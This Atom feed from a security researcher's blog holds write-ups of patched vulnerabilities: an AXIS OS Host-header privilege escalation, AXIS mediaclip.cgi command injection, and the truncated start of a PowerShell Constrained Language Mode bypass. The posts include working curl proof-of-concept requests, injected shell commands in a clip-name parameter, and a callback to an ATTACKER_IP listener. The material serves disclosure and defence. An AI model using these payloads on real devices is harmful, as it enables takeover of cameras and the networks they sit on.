<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://kearikan.com/feed/research.xml" rel="self" type="application/atom+xml" /><link href="https://kearikan.com/" rel="alternate" type="text/html" /><updated>2026-10-13T21:14:51+00:00</updated><id>https://kearikan.com/feed/research.xml</id><title type="html">Kaya Emre Arıkan | Research</title><subtitle>Writeups on vulnerabilities I&apos;ve found and responsibly disclosed — published only after the vendor advisory or CVE is public.</subtitle><author><name>Kaya Emre Arıkan</name></author><entry><title type="html">AXIS OS: A Spoofed Host Header Escalates Any Account to Administrator</title><link href="https://kearikan.com/research/axis-os-host-header-privesc/" rel="alternate" type="text/html" title="AXIS OS: A Spoofed Host Header Escalates Any Account to Administrator" /><published>2026-10-14T00:00:00+00:00</published><updated>2026-10-14T00:00:00+00:00</updated><id>https://kearikan.com/research/axis-os-host-header-privesc</id><content type="html" xml:base="https://kearikan.com/research/axis-os-host-header-privesc/"><![CDATA[<h2 id="summary">Summary</h2>

<p>CVE-2025-0324 is a privilege escalation in the VAPIX Device Configuration
framework, the REST API family behind <code class="language-plaintext highlighter-rouge">/config/rest/*</code> on AXIS OS devices.
Axis disclosed it on 2025-06-02, scored it 9.4 Critical, credited it to
bug-bounty researcher Malacupa, and withheld the technical detail on purpose:
“Axis will not provide more detailed information about the vulnerability.”</p>

<p>This post is the technical detail. I reconstructed the root cause by
patch-diffing two public AXIS OS firmware images (11.11.127 vulnerable vs
11.11.181 fixed), then confirmed it on a camera I own. No vendor source, no
insider information, just signed firmware that Axis distributes publicly.</p>

<p>The bug, in one sentence: the Apache authorization module that decides a
session’s roles contains a shortcut for requests whose host resolves to the
string <code class="language-plaintext highlighter-rouge">localhost-acap</code>, and under Apache’s default <code class="language-plaintext highlighter-rouge">UseCanonicalName Off</code>
that string is taken from the client’s own <code class="language-plaintext highlighter-rouge">Host:</code> header. One header turns
any logged-in account, including the lowest-privileged <code class="language-plaintext highlighter-rouge">viewer</code> role, into a
full administrator.</p>

<p>The fix has been generally available since 2025-06-02 (AXIS OS LTS 2024
11.11.140 and Active Track 12.3.33). Nothing here is a live risk to patched
fleets; the point is to document what the advisory left out.</p>

<h2 id="background">Background</h2>

<p>Recent AXIS OS builds expose the VAPIX Device Configuration framework under
<code class="language-plaintext highlighter-rouge">/config/rest/&lt;api&gt;/&lt;version&gt;/</code> (alias <code class="language-plaintext highlighter-rouge">/devconf/rest/</code>). It covers the
sensitive parts of a device: <code class="language-plaintext highlighter-rouge">ssh</code>, <code class="language-plaintext highlighter-rouge">firewall</code>, <code class="language-plaintext highlighter-rouge">snmp</code>, <code class="language-plaintext highlighter-rouge">cert</code>, <code class="language-plaintext highlighter-rouge">oidcsetup</code>,
and more, all enumerable by any authenticated user via
<code class="language-plaintext highlighter-rouge">GET /config/discover/apis</code>.</p>

<p>The request path is Apache in front of a Rust daemon:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Apache (Digest auth, TLS) --&gt; mod_proxy over a Unix socket --&gt; dev-conf-service
</code></pre></div></div>

<p>Apache gates the whole <code class="language-plaintext highlighter-rouge">/config</code> tree at the lowest role (<code class="language-plaintext highlighter-rouge">Require axis-group
viewer</code>) and leaves fine-grained authorization to the backend. The backend
learns who is calling from two headers that Apache injects and
unconditionally overwrites: <code class="language-plaintext highlighter-rouge">X-Remote-User</code> (the Digest-authenticated
username) and <code class="language-plaintext highlighter-rouge">X-Remote-User-Group</code> (a role bitmask). Spoofing those headers
directly from the client does nothing; Apache recomputes them on every
request.</p>

<p>So the interesting question is not whether a client can control the headers,
but whether a client can influence how Apache itself computes <code class="language-plaintext highlighter-rouge">USER_GROUPS</code>.
That is exactly where the bug lives.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>Axis ships a custom Apache authorization provider,
<code class="language-plaintext highlighter-rouge">mod_authz_axisgroupfile.so</code>, that implements the <code class="language-plaintext highlighter-rouge">axis-group</code> require
directive and fills in <code class="language-plaintext highlighter-rouge">USER_GROUPS</code>. Reconstructed from the disassembly of
the 11.11.127 build, its logic looks like this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* pseudocode, reconstructed from ARM64 disassembly */</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">is_trusted_local_acap_request</span><span class="p">(</span><span class="n">request_rec</span> <span class="o">*</span><span class="n">r</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">server_name</span> <span class="o">=</span> <span class="n">ap_get_server_name</span><span class="p">(</span><span class="n">r</span><span class="p">);</span>
    <span class="n">ap_log_rerror</span><span class="p">(</span><span class="n">APLOG_MARK</span><span class="p">,</span> <span class="n">APLOG_TRACE1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span>
                  <span class="s">"ServerName is '%s'"</span><span class="p">,</span> <span class="n">server_name</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">strcmp</span><span class="p">(</span><span class="s">"localhost-acap"</span><span class="p">,</span> <span class="n">server_name</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">axis_group_authz_resolve</span><span class="p">(</span><span class="n">request_rec</span> <span class="o">*</span><span class="n">r</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">user</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="o">*</span><span class="n">out_group_bitmask</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">user</span> <span class="o">!=</span> <span class="nb">NULL</span> <span class="o">&amp;&amp;</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="s">"anonymous"</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">is_trusted_local_acap_request</span><span class="p">(</span><span class="n">r</span><span class="p">))</span> <span class="p">{</span>
            <span class="o">*</span><span class="n">out_group_bitmask</span> <span class="o">=</span> <span class="mh">0xF</span><span class="p">;</span>   <span class="cm">/* admin | operator | viewer | ptz */</span>
            <span class="k">return</span> <span class="n">SUCCESS</span><span class="p">;</span>             <span class="cm">/* skip the real group file */</span>
        <span class="p">}</span>
        <span class="cm">/* normal path: parse /etc/apache2/group_auth, build the real bitmask */</span>
    <span class="p">}</span>
    <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Two things are wrong at once:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">ap_get_server_name()</code> is not a trustworthy value for a security
decision. With <code class="language-plaintext highlighter-rouge">UseCanonicalName Off</code> (Apache’s default, and the setting
in effect on these devices), it returns the hostname from the client’s
<code class="language-plaintext highlighter-rouge">Host:</code> header, falling back to the connection’s local IP only when no
header is present at all. The client chooses it, request by request.</li>
  <li>The shortcut does not grant one elevated role. <code class="language-plaintext highlighter-rouge">0xF</code> is the union of
every role the module defines (<code class="language-plaintext highlighter-rouge">admin=1, operator=2, viewer=4, ptz=8</code>),
so the session instantly holds all of them.</li>
</ol>

<p>The check was presumably meant for trusted same-host callers, the kind of
local ACAP application that reaches the API through a loopback-only virtual
host name. Instead it hands the entire role set to anyone who can spell a
hostname.</p>

<h3 id="the-fix">The fix</h3>

<p>In 11.11.181 the same function computes <code class="language-plaintext highlighter-rouge">ap_auth_name(r)</code> instead, the
authentication realm configured for the matched <code class="language-plaintext highlighter-rouge">&lt;Location&gt;</code> block. That
value comes from server-side configuration only; no request header can
influence it. The comparison target changed accordingly:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">realm</span> <span class="o">=</span> <span class="n">ap_auth_name</span><span class="p">(</span><span class="n">r</span><span class="p">);</span>
<span class="n">ap_log_rerror</span><span class="p">(</span><span class="n">APLOG_MARK</span><span class="p">,</span> <span class="n">APLOG_TRACE1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="s">"Auth realm is '%s'"</span><span class="p">,</span> <span class="n">realm</span><span class="p">);</span>
<span class="k">return</span> <span class="n">strcmp</span><span class="p">(</span><span class="s">"VapixService"</span><span class="p">,</span> <span class="n">realm</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>The same release added a second, unrelated hardening in <code class="language-plaintext highlighter-rouge">dev-conf-service</code>:
it now requires and sanity-checks an <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> header before trusting
<code class="language-plaintext highlighter-rouge">X-Remote-User</code> / <code class="language-plaintext highlighter-rouge">X-Remote-User-Group</code>. That looks like defense-in-depth
against a differently shaped bypass (an ingress path that skips the normal
proxy), not the primary fix; I could not find a live path it blocks.</p>

<p>On classification: this is best described as CWE-290 (Authentication Bypass
by Spoofing) composed with CWE-807 (Reliance on Untrusted Inputs in a
Security Decision). Axis’s own CWE-791 (Incomplete Filtering of Special
Elements) is a defensible looser fit; the element that should have been kept
out of the trust decision is the Host header itself.</p>

<h2 id="how-i-found-it-patch-diffing-public-firmware">How I found it: patch-diffing public firmware</h2>

<p>The whole analysis started from public artifacts:</p>

<ul>
  <li><strong>Firmware</strong>: official signed images from Axis’s unauthenticated
distribution mirror (<code class="language-plaintext highlighter-rouge">ftp.axis.com/pub/axis/software/&lt;model&gt;/...</code>), last
vulnerable build and first fixed build.</li>
  <li><strong>Extraction</strong>: the <code class="language-plaintext highlighter-rouge">.bin</code> unpacks (gzip, then tar) into a manifest, a
boot image, and <code class="language-plaintext highlighter-rouge">rootfs.img</code>, an unencrypted SquashFS 4.0 (zstd) volume.
<code class="language-plaintext highlighter-rouge">unsquashfs</code> reads it directly. No signature bypass, no decryption.</li>
  <li><strong>Noise-aware diffing</strong>: the two builds are eleven months apart, so almost
every binary relinks with a new Build ID even when its logic is unchanged.
A naive recursive diff is mostly churn. I triaged every candidate by file
size and complete <code class="language-plaintext highlighter-rouge">strings</code> output before spending time on disassembly.</li>
  <li><strong>Disassembly</strong>: radare2 (<code class="language-plaintext highlighter-rouge">aaa</code>, then <code class="language-plaintext highlighter-rouge">izz</code> / <code class="language-plaintext highlighter-rouge">axt</code> string
cross-references) to find the functions touching changed strings, then
instruction-by-instruction comparison. Both binaries are stripped ARM64;
function boundaries came entirely from string xrefs and calling-convention
reconstruction.</li>
</ul>

<p>The module that mattered nearly escaped the filter:
<code class="language-plaintext highlighter-rouge">mod_authz_axisgroupfile.so</code> is byte-identical in size across both builds
(30,824 bytes). Only a full string-set diff exposed the substitution:</p>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>11.11.127 (vulnerable)</th>
      <th>11.11.181 (fixed)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Host context API</td>
      <td><code class="language-plaintext highlighter-rouge">ap_get_server_name</code></td>
      <td><code class="language-plaintext highlighter-rouge">ap_auth_name</code></td>
    </tr>
    <tr>
      <td>Trace log format</td>
      <td><code class="language-plaintext highlighter-rouge">ServerName is '%s'</code></td>
      <td><code class="language-plaintext highlighter-rouge">Auth realm is '%s'</code></td>
    </tr>
    <tr>
      <td>Comparison value</td>
      <td><code class="language-plaintext highlighter-rouge">localhost-acap</code></td>
      <td><code class="language-plaintext highlighter-rouge">VapixService</code></td>
    </tr>
  </tbody>
</table>

<p>I also diffed the Apache vhost config and the D-Bus policy files to rule out
other paths, and tested several plausible alternates on live hardware:
direct spoofing of <code class="language-plaintext highlighter-rouge">X-Remote-User</code> (always overwritten), encoded-slash and
path-canonicalization tricks against the proxy, and the D-Bus policy
differences (unrelated interfaces). The identical-size module with a
different string table was what eventually pointed at the real bug.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>All of this ran against my own camera on an isolated lab network, with a
disposable viewer-role account. Step one needs no state changes: the
firewall API returns a role-dependent object, so the same viewer credentials
plus one header reproduce the administrator view.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Baseline: viewer, unmodified request</span>
<span class="nv">$ </span>curl <span class="nt">--digest</span> <span class="nt">-u</span> viewer_test:&lt;pw&gt; http://&lt;camera&gt;/config/rest/firewall/v1beta
<span class="o">{</span><span class="s2">"status"</span>:<span class="s2">"success"</span>,<span class="s2">"data"</span>:<span class="o">{</span><span class="s2">"conf"</span>:<span class="o">{</span><span class="s2">"rules"</span>:<span class="o">{}}}}</span>

<span class="c"># Same account, one added header</span>
<span class="nv">$ </span>curl <span class="nt">--digest</span> <span class="nt">-u</span> viewer_test:&lt;pw&gt; <span class="nt">-H</span> <span class="s2">"Host: localhost-acap"</span> <span class="se">\</span>
  http://&lt;camera&gt;/config/rest/firewall/v1beta
<span class="o">{</span><span class="s2">"status"</span>:<span class="s2">"success"</span>,<span class="s2">"data"</span>:<span class="o">{</span><span class="s2">"activated"</span>:false,<span class="s2">"conf"</span>:<span class="o">{</span><span class="s2">"rules"</span>:<span class="o">{</span>
  <span class="s2">"activeDefaultPolicy"</span>:<span class="s2">"ACCEPT"</span>,<span class="s2">"activeRules"</span>:[],
  <span class="s2">"pendingDefaultPolicy"</span>:null,<span class="s2">"pendingRules"</span>:[],<span class="s2">"testTimeLeft"</span>:0<span class="o">}}}}</span>
</code></pre></div></div>

<p>Step two removes any doubt that this is real authorization, not field
visibility. Creating an SSH user is an administrator-only operation:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Baseline: viewer, unmodified request -&gt; rejected</span>
<span class="nv">$ </span>curl <span class="nt">--digest</span> <span class="nt">-u</span> viewer_test:&lt;pw&gt; <span class="nt">-X</span> POST <span class="se">\</span>
  http://&lt;camera&gt;/config/rest/ssh/v1beta/users <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"data":{"username":"poc_test","password":"&lt;redacted&gt;"}}'</span>
HTTP/1.1 401 Unauthorized

<span class="c"># Same account, one added header -&gt; 201 Created</span>
<span class="nv">$ </span>curl <span class="nt">--digest</span> <span class="nt">-u</span> viewer_test:&lt;pw&gt; <span class="nt">-H</span> <span class="s2">"Host: localhost-acap"</span> <span class="nt">-X</span> POST <span class="se">\</span>
  http://&lt;camera&gt;/config/rest/ssh/v1beta/users <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"data":{"username":"poc_test","password":"&lt;redacted&gt;"}}'</span>
HTTP/1.1 201 Created
</code></pre></div></div>

<p>The account was deleted as administrator immediately after the test. One
side effect worth flagging: creating the first SSH user this way silently
flips the global legacy switch <code class="language-plaintext highlighter-rouge">root.Network.SSH.Enabled</code> from <code class="language-plaintext highlighter-rouge">no</code> to
<code class="language-plaintext highlighter-rouge">yes</code>, which opens TCP/22 on the device. Deleting the user does not undo
it; the switch stays on until it is explicitly set back. So the practical
blast radius includes silently enabling a previously closed service.</p>

<p>There is no pre-authentication bypass. Without valid credentials, or with
the literal username <code class="language-plaintext highlighter-rouge">anonymous</code>, the request still gets 401 regardless of
the header, because the vulnerable branch is only reached after Apache has
resolved a real, non-anonymous <code class="language-plaintext highlighter-rouge">REMOTE_USER</code>.</p>

<p>That last point answers a scoring disagreement: Axis scored the CVE with
<code class="language-plaintext highlighter-rouge">PR:N</code> (no privileges, 9.4), NVD recomputed it as <code class="language-plaintext highlighter-rouge">PR:L</code> (low privileges,
8.8). Every path I found requires a valid non-anonymous session first, so
the evidence supports NVD’s <code class="language-plaintext highlighter-rouge">PR:L</code>. It is a modest bar in practice: on
camera fleets the viewer role is routinely handed to VMS integrations and
semi-trusted third parties.</p>

<h2 id="impact">Impact</h2>

<p>An account at any role level can reach full administrative control of the
whole VAPIX Device Configuration surface:</p>

<ul>
  <li>create administrator-controlled local SSH users (demonstrated), with the
SSH-service side effect above, a direct path to a shell on the device;</li>
  <li>read and modify the firewall ruleset;</li>
  <li>manage TLS certificates and private key material through the <code class="language-plaintext highlighter-rouge">cert</code> API;</li>
  <li>touch <code class="language-plaintext highlighter-rouge">snmp</code> and <code class="language-plaintext highlighter-rouge">oidcsetup</code>, the integration credentials with monitoring
and identity infrastructure;</li>
  <li>promote silently at fleet scale: a compromised VMS that holds per-camera
viewer credentials can upgrade itself on every camera without ever
touching an administrator account.</li>
</ul>

<p>Because the flaw lives in a shared platform component rather than one API’s
business logic, the same bypass should apply to every REST resource gated by
the <code class="language-plaintext highlighter-rouge">axis-group</code> provider, not only the two endpoints used here.</p>

<h2 id="detection-and-remediation">Detection and remediation</h2>

<ul>
  <li><strong>Patch</strong>: AXIS OS LTS 2024 <code class="language-plaintext highlighter-rouge">&gt;= 11.11.140</code> or Active Track <code class="language-plaintext highlighter-rouge">&gt;= 12.3.33</code>
(or the earliest build after that point on your model’s train).</li>
  <li><strong>Hunt</strong>: on unpatched devices, requests to <code class="language-plaintext highlighter-rouge">/config/*</code> or <code class="language-plaintext highlighter-rouge">/devconf/*</code>
carrying <code class="language-plaintext highlighter-rouge">Host: localhost-acap</code> from anything other than the device’s own
loopback are strong exploitation indicators. Most Apache configs do not
log the Host header by default; add <code class="language-plaintext highlighter-rouge">%{Host}i</code> to the LogFormat where
log storage allows.</li>
  <li><strong>Audit</strong>: new local SSH users, firewall rules, or certificates that do
not line up with an administrator login; unexpected changes predating the
patch.</li>
  <li><strong>After patching</strong>: rotate credentials at every role level, since a
compromised viewer account had an unauditable path to admin until now.</li>
  <li><strong>Verify</strong>: the repository below ships a read-only checker
(<code class="language-plaintext highlighter-rouge">verify_cve_2025_0324.py</code>) that confirms exposure behaviorally in under a
second without changing device state.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<ul>
  <li>2025-06-02: Axis publishes the advisory and fixed builds (11.11.140 /
12.3.33); NVD rescoring published the same day. No technical detail.</li>
  <li>2026-08: patch-diff reconstruction and hardware confirmation.</li>
  <li>2026-08-28: full report and verification tool published in the repository
below.</li>
  <li>2026-10-14: this condensed write-up.</li>
</ul>

<h2 id="credits-and-disclosure">Credits and disclosure</h2>

<ul>
  <li>Original discovery and vendor report: <strong>Malacupa</strong>, via the AXIS OS Bug
Bounty Program. All credit for finding the flaw belongs to Malacupa; this
post only reconstructs what the advisory withheld.</li>
  <li><a href="https://www.axis.com/dam/public/04/f3/1c/cve-2025-0324pdf-en-US-483807.pdf">Axis advisory (PDF)</a>
and <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-0324">NVD record</a>.</li>
  <li>Full report, proof-of-concept tool, and firmware-diff artifacts:
<a href="https://github.com/kemrec/CVE-2025-0324-axis-vapix-privesc">kemrec/CVE-2025-0324-axis-vapix-privesc</a>.</li>
</ul>

<p>This is n-day research. The fix has been generally available for well over a
year, the CVE is public, and nothing here pre-empts a live disclosure. All
testing ran against hardware I own on an isolated network.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">AXIS OS: Command Injection in mediaclip.cgi via the Clip Name</title><link href="https://kearikan.com/research/axis-mediaclip-command-injection/" rel="alternate" type="text/html" title="AXIS OS: Command Injection in mediaclip.cgi via the Clip Name" /><published>2026-10-14T00:00:00+00:00</published><updated>2026-10-14T00:00:00+00:00</updated><id>https://kearikan.com/research/axis-mediaclip-command-injection</id><content type="html" xml:base="https://kearikan.com/research/axis-mediaclip-command-injection/"><![CDATA[<h2 id="summary">Summary</h2>

<p>CVE-2025-11142 is an OS command injection in <code class="language-plaintext highlighter-rouge">mediaclip.cgi</code>, the VAPIX
endpoint that manages the audio clips Axis devices can play (announcements,
alarms, door greetings). The advisory, published 2026-02-10, says the
endpoint “did not have a sufficient input validation” and that Axis “will
not provide more detailed information about the vulnerability.” That is the
whole public record: no root cause, no PoC.</p>

<p>This post is an independent reproduction. I found the bug again from the
outside, black-box, against a device I own, and confirmed code execution
with two independent techniques. It is n-day work: the fix (AXIS OS 12.7.36)
shipped before I started, and the original find belongs to researcher
51l3nc3 via the AXIS OS Bug Bounty Program.</p>

<h2 id="background">Background</h2>

<p>VAPIX is Axis’s HTTP API surface. The media clip API lives at
<code class="language-plaintext highlighter-rouge">/axis-cgi/mediaclip.cgi</code> and speaks HTTP Digest auth (Basic is rejected).
Four actions matter: <code class="language-plaintext highlighter-rouge">upload</code>, <code class="language-plaintext highlighter-rouge">update</code>, <code class="language-plaintext highlighter-rouge">play</code>, <code class="language-plaintext highlighter-rouge">remove</code>. Each clip is
addressed by an index, and <code class="language-plaintext highlighter-rouge">update</code> changes a clip’s display name, a
free-text <code class="language-plaintext highlighter-rouge">name</code> parameter with no obvious restrictions.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>Black-box testing points at a simple mistake: the <code class="language-plaintext highlighter-rouge">name</code> value is passed,
unsanitized, to a shell invocation on the device, most likely as part of an
internal file-rename or processing step in the media clip subsystem. There
is no source to read here, so the root cause is inferred from behavior, but
the behavior is unambiguous: the full string is executed, not treated as an
inert label.</p>

<p>One detail shapes the whole methodology: the HTTP response never echoes
command output. Every request answers <code class="language-plaintext highlighter-rouge">OK</code> / <code class="language-plaintext highlighter-rouge">Updating=0</code> no matter what the
payload does. The bug is blind, so confirmation has to come from side
channels: time, and the network.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>The <code class="language-plaintext highlighter-rouge">update</code> action needs an existing clip, so the PoC starts with a tiny
placeholder WAV:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">--digest</span> <span class="nt">-u</span> <span class="s2">"</span><span class="nv">$USER</span><span class="s2">:</span><span class="nv">$PASS</span><span class="s2">"</span> <span class="nt">--anyauth</span> <span class="se">\</span>
  <span class="nt">-X</span> POST <span class="s2">"http://</span><span class="nv">$TARGET</span><span class="s2">/axis-cgi/mediaclip.cgi?action=upload&amp;media=audio&amp;name=testclip"</span> <span class="se">\</span>
  <span class="nt">-F</span> <span class="s2">"file=@poc.wav;type=audio/wav"</span>
</code></pre></div></div>

<p><strong>Step 1, time-based confirmation.</strong> If the name is executed by a shell, an
injected <code class="language-plaintext highlighter-rouge">sleep</code> should show up directly in the response time:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># control</span>
curl <span class="nt">-s</span> <span class="nt">--digest</span> <span class="nt">-u</span> <span class="s2">"</span><span class="nv">$USER</span><span class="s2">:</span><span class="nv">$PASS</span><span class="s2">"</span> <span class="nt">--anyauth</span> <span class="nt">-G</span> <span class="s2">"http://</span><span class="nv">$TARGET</span><span class="s2">/axis-cgi/mediaclip.cgi"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"action=update"</span> <span class="nt">--data-urlencode</span> <span class="s2">"clip=0"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"name=test;sleep 0;"</span>

<span class="c"># injected</span>
curl <span class="nt">-s</span> <span class="nt">--digest</span> <span class="nt">-u</span> <span class="s2">"</span><span class="nv">$USER</span><span class="s2">:</span><span class="nv">$PASS</span><span class="s2">"</span> <span class="nt">--anyauth</span> <span class="nt">-G</span> <span class="s2">"http://</span><span class="nv">$TARGET</span><span class="s2">/axis-cgi/mediaclip.cgi"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"action=update"</span> <span class="nt">--data-urlencode</span> <span class="s2">"clip=0"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"name=test;sleep 8;"</span>
</code></pre></div></div>

<p>The delayed request tracks the injected duration (about 0.3s baseline
versus 8s), which is hard to explain any other way. I scaled the delays
(0/3/6/8 seconds) and rotated injection syntaxes (<code class="language-plaintext highlighter-rouge">;</code>, <code class="language-plaintext highlighter-rouge">&amp;&amp;</code>, backticks,
<code class="language-plaintext highlighter-rouge">$(...)</code>) to rule out coincidence; all of them execute.</p>

<p><strong>Step 2, out-of-band callback.</strong> The strongest proof does not depend on
timing at all. Start a listener and have the device call back to it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># attacker host</span>
nc <span class="nt">-lvnp</span> 4444

<span class="c"># payload</span>
curl <span class="nt">-s</span> <span class="nt">--digest</span> <span class="nt">-u</span> <span class="s2">"</span><span class="nv">$USER</span><span class="s2">:</span><span class="nv">$PASS</span><span class="s2">"</span> <span class="nt">--anyauth</span> <span class="nt">-G</span> <span class="s2">"http://</span><span class="nv">$TARGET</span><span class="s2">/axis-cgi/mediaclip.cgi"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"action=update"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"clip=0"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"</span>
</code></pre></div></div>

<p>An inbound HTTP request from the device’s IP with the <code class="language-plaintext highlighter-rouge">curl</code> User-Agent can
only originate from a command that actually ran on the device. That is the
confirmation the advisory’s “no known exploits” line never had.</p>

<p><strong>Cleanup.</strong> <code class="language-plaintext highlighter-rouge">action=remove&amp;clip=0</code> restores the device state; the test clip
is disposable by design.</p>

<p>The repository below ships <code class="language-plaintext highlighter-rouge">poc.py</code>, which automates the whole sequence
(upload, timing check, callback listener, cleanup) against a target you
specify:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>usage: poc.py --target 192.168.1.100 --user admin --pass &lt;pw&gt; --callback-ip 192.168.1.50
</code></pre></div></div>

<h2 id="impact">Impact</h2>

<p>Confirmed: arbitrary OS command execution as a low-privileged service
account, after authenticating with an operator or administrator credential.
Not confirmed, and not pursued: escalation from that service account to
root; no SUID or further paths were explored beyond passive enumeration.</p>

<p>Two environmental factors make the bug more than a checkbox in practice.
Axis devices are frequently deployed with default or weak admin credentials,
and the entire client-side SPA that maps the VAPIX API surface, including
this endpoint, is served without authentication, so the attack surface is
trivially discoverable from the login page alone.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li>2025: reported by <strong>51l3nc3</strong> through the AXIS OS Bug Bounty Program.</li>
  <li>2026-02-10: Axis publishes advisory v1.0 and the fix, AXIS OS 12.7.36;
no technical detail.</li>
  <li>2026-09: independent black-box reproduction and PoC tool published.</li>
  <li>2026-10-14: this write-up.</li>
</ul>

<h2 id="credits-and-disclosure">Credits and disclosure</h2>

<ul>
  <li>Original discovery and vendor report: <strong>51l3nc3</strong>. This post only
reproduces the behavior independently.</li>
  <li><a href="https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf">Axis advisory (PDF)</a>
and <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-11142">NVD record</a>.</li>
  <li>PoC and notes:
<a href="https://github.com/kemrec/cve-2025-11142-axis-mediaclip-rce">kemrec/cve-2025-11142-axis-mediaclip-rce</a>.</li>
</ul>

<p>This is n-day research: the fix was public before I looked, no report was
filed by me, and the advisory’s own line about “no known exploits” is
exactly why an independent, working PoC is worth documenting.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">PowerShell: CDXML Import Bypasses Constrained Language Mode</title><link href="https://kearikan.com/research/powershell-cdxml-clm-escape/" rel="alternate" type="text/html" title="PowerShell: CDXML Import Bypasses Constrained Language Mode" /><published>2026-10-13T00:00:00+00:00</published><updated>2026-10-13T00:00:00+00:00</updated><id>https://kearikan.com/research/powershell-cdxml-clm-escape</id><content type="html" xml:base="https://kearikan.com/research/powershell-cdxml-clm-escape/"><![CDATA[<h2 id="summary">Summary</h2>

<p>Constrained Language Mode (CLM) is the enforcement layer behind WDAC and AppLocker script enforcement: a locked-down session can’t call arbitrary .NET APIs, so it’s safe to run code you don’t fully trust. On PowerShell 7 builds before 7.6.5, importing a crafted <code class="language-plaintext highlighter-rouge">.cdxml</code> file from inside such a session escapes the boundary. The file needs two operations that CLM allows by design: write it with <code class="language-plaintext highlighter-rouge">Set-Content</code>, load it with <code class="language-plaintext highlighter-rouge">Import-Module</code>. Everything after that runs in FullLanguage.</p>

<p>This is an n-day, not a disclosure. The fix landed on the 7.6.5 release branch before I looked at this, and the main-branch merge (<a href="https://github.com/PowerShell/PowerShell/pull/27869">PR #27869</a>) has been public since 2026-08-20. No CVE was assigned. I verified the behavior end to end on 7.6.2 and on 7.6.6, then went through the fix for completeness. The reason to write it up is the failure mode: a security decision that rested on a validation step that wasn’t running in the build most people were on.</p>

<h2 id="background">Background</h2>

<p>CDXML (Cmdlet Definition XML) is how CIM-based cmdlets get defined in XML instead of C#. <code class="language-plaintext highlighter-rouge">Import-Module</code> accepts <code class="language-plaintext highlighter-rouge">.cdxml</code> files directly, and Windows itself uses the format for its CIM-based management modules. The import path parses the XML, generates a PowerShell module script from it, and runs that script.</p>

<p>CLM is what makes “run this untrusted code” a solvable problem. WDAC or AppLocker puts the process into ConstrainedLanguage, and the engine then blocks method invocation on anything but core types. A script can keep working (cmdlets, pipelines, variables) while the interesting escape hatches stay closed. A CLM escape is therefore an escape from the security boundary itself. CVE-2019-1167 was the same class, in the same product.</p>

<h2 id="where-the-trust-comes-from">Where the trust comes from</h2>

<p>The generated module script is marked trusted in <code class="language-plaintext highlighter-rouge">ModuleCmdletBase.cs</code>:</p>

